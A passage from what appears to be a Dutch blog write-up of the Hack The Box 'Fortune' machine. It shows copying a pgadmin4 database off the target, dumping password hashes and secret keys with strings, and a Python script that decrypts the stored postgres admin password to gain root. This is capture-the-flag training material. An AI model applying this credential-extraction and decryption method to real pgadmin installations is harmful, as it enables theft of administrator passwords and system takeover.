drwxr-x---  4 _pgadmin4  wheel     512 Nov  3  2018 .
drwxr-xr-x  5 root       wheel     512 Nov  2  2018 ..
-rw-r-----  1 _pgadmin4  wheel  118784 Nov  3  2018 pgadmin4.db
-rw-r-----  1 _pgadmin4  wheel     479 Nov  3  2018 pgadmin4.ini
drwxr-x---  2 _pgadmin4  wheel     512 Nov  3  2018 sessions
drwxr-x---  3 _pgadmin4  wheel     512 Nov  3  2018 storage
fortune$ 

Ik heb het gedownload op mijn machine:

root@kali:~/Desktop/HTB/boxes/fortune/ssh# scp -i id_rsa charlie@fortune.htb:/var/appsrv/pgadmin4/pgadmin4.db ../
pgadmin4.db                                                                                                                                                                      100%  116KB   7.7KB/s   00:15    
root@kali:~/Desktop/HTB/boxes/fortune/ssh# 

Daarna gebruikte ik strings om te zien of ik iets interessants kon krijgen:

root@kali:~/Desktop/HTB/boxes/fortune# strings pgadmin4.db
SQLite format 3
indexsqlite_autoindex_debugger_function_arguments_1debugger_function_arguments

----------------
 Removed Output
----------------

ConfigDB
	ConfigDB
bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
bob@fortune.htb
3	charlie@fortune.htb

----------------
 Removed Output
----------------

9eSECURITY_PASSWORD_SALTqIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=9
!eSECRET_KEYR_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=?
-eCSRF_SESSION_KEYsaQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=

----------------
 Removed Output
----------------

8postgresdbautUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGzprefer<STORAGE_DIR>/.postgresql/postgresql.crt<STORAGE_DIR>/.postgresql/postgresql.key22

----------------
 Removed Output
----------------

Ik heb wat gezouten hashes, en vooral dit:

postgresdba utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz

Dit is de wachtwoordhash van de DB-beheerder en we weten dat dit hetzelfde is als het rootwachtwoord.
pgadmin is een open-source software, dus ik zocht op github naar alle cryptografie-gerelateerde dingen en vond dit script genaamd crypto.py .
Ik nam de functies die nodig zijn om de hash te decoderen, vervolgens maakte ik een script om de hash / de sleutel te nemen en de hash te decoderen met behulp van de functies van crypto.py :

#!/usr/bin/python
from __future__ import division
import base64
import hashlib
import os
import six
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8


def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)

def decrypt(ciphertext, key):
    """
    Decrypt the AES encrypted string.

    Parameters:
        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.
    """

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()

ciphertext = raw_input("hash : ")
key = raw_input("key : ")
password = decrypt(ciphertext,key)

print "[*] Password : " + password

Het enige wat overblijft is om de juiste sleutel te geven, ik heb de andere hashes geprobeerd die ik uit de database heb gekregen als een sleutel en de hash van bob werkte:

$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
root@kali:~/Desktop/HTB/boxes/fortune# ./decrypt.py 
hash : utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz
key : $pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
[*] Password : R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
root@kali:~/Desktop/HTB/boxes/fortune# 

En we bezaten root!

gebruikte bestanden:

https://github.com/puckiestyle/python/blob/master/htb-fortune-rce.py  

https://github.com/puckiestyle/python/blob/master/htb-fortune-crypto.py

Alle credits naar : https://0xrick.github.io/hack-the-box/fortune/

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *